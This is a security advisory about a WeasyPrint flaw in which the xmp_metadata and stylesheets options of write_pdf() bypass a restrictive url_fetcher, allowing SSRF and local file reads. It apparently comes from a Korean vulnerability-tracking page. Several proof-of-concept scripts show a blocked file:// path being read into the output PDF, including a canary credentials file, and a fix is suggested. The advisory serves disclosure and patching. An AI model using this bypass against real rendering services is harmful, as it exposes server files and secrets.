weasyprint Has Server-Side Request Forgery (SSRF)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
xmp_metadata=[url]- the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path]- the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole@import/url()graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
1def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...): 2 ... 3 if url_fetcher is None: 4 url_fetcher = URLFetcher()Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet>inweasyprint/css/__init__.py<style>inweasyprint/css/__init__.py@importinweasyprint/css/__init__.py@font-face/local()inweasyprint/text/fonts.py@color-profile srcinweasyprint/css/__init__.py- images (
<img>, CSSurl(), SVG) inweasyprint/images.py
Two do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...])inweasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str])inweasyprint/document.py
xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:
1if options['xmp_metadata']: 2 for url in options['xmp_metadata']: 3 result = select_source(url) # no url_fetcherstylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():
1for css in options['stylesheets'] or []: 2 if not hasattr(css, 'matcher'): 3 css = CSS( # no url_fetcher=html.url_fetcher 4 guess=css, media_type=html.media_type, 5 font_config=font_config, counter_style=counter_style, 6 color_profiles=color_profiles)Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmp_metadata= reads a file:// the fetcher blocks
1import os, tempfile 2from weasyprint import HTML 3from weasyprint.urls import URLFetcher 4 5class Block(URLFetcher): 6 def fetch(self, url, headers=None): 7 if url.lower().startswith('file:'): 8 raise ValueError('blocked ' + url) 9 return super().fetch(url, headers)10 11d = tempfile.mkdtemp()12path = os.path.join(d, 'secret.xmp')13open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')14pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(15 xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)16print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)17# -> True(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
1import os, tempfile 2from weasyprint import HTML 3from weasyprint.urls import URLFetcher 4 5class Block(URLFetcher): 6 def fetch(self, url, headers=None): 7 if url.lower().startswith('file:'): 8 raise ValueError('blocked ' + url) 9 return super().fetch(url, headers)10 11d = tempfile.mkdtemp()12path = os.path.join(d, 'evil.css')13open(path, 'w').write('@page { size: 1234px 5678px }')14 15doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])16p = doc.pages[0]17print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))18# -> True19 20# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;21# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the22# gap is specific to stylesheets= and not a misconfigured fetcher.23ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,24 url_fetcher=Block()).render()25cp = ctrl.pages[0]26print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))27# -> True3 - the stylesheets= bypass is transitive
1import os, tempfile 2from weasyprint import HTML 3from weasyprint.urls import URLFetcher 4 5class Block(URLFetcher): 6 def fetch(self, url, headers=None): 7 if url.lower().startswith('file:'): 8 raise ValueError('blocked ' + url) 9 return super().fetch(url, headers)10 11d = tempfile.mkdtemp()12inner = os.path.join(d, 'inner.css')13outer = os.path.join(d, 'outer.css')14open(inner, 'w').write('@page { size: 333px 777px }')15open(outer, 'w').write('@import url("file://%s");' % inner)16doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])17p = doc.pages[0]18print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))19# -> True4 - xmp_metadata= discloses a credentials file in full
1import os, json, tempfile 2from weasyprint import HTML 3from weasyprint.urls import URLFetcher 4 5class Block(URLFetcher): 6 def fetch(self, url, headers=None): 7 if url.lower().startswith('file:'): 8 raise ValueError('blocked ' + url) 9 return super().fetch(url, headers)10 11creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',12 'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}13d = tempfile.mkdtemp()14path = os.path.join(d, 'site_config.json')15json.dump(creds, open(path, 'w'))16pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(17 xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)18print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))19# -> TrueAn attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
1import os, tempfile 2from weasyprint import HTML 3from weasyprint.urls import URLFetcher 4 5class Block(URLFetcher): 6 def fetch(self, url, headers=None): 7 if url.lower().startswith('file:'): 8 raise ValueError('blocked ' + url) 9 return super().fetch(url, headers)10 11d = tempfile.mkdtemp()12path = os.path.join(d, 'secrets.css')13open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')14html = HTML(string='<p>x</p>', url_fetcher=Block())15doc = html.render(stylesheets=['file://' + path])16pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)17p = doc.pages[0]18print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True19print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> FalseSuggested fix
Route both call sites through the document's url_fetcher, matching the five sites that already do this.
pdf/__init__.py-select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrictxmp_metadatato byte strings so no URL fetching occurs.)document.py-CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.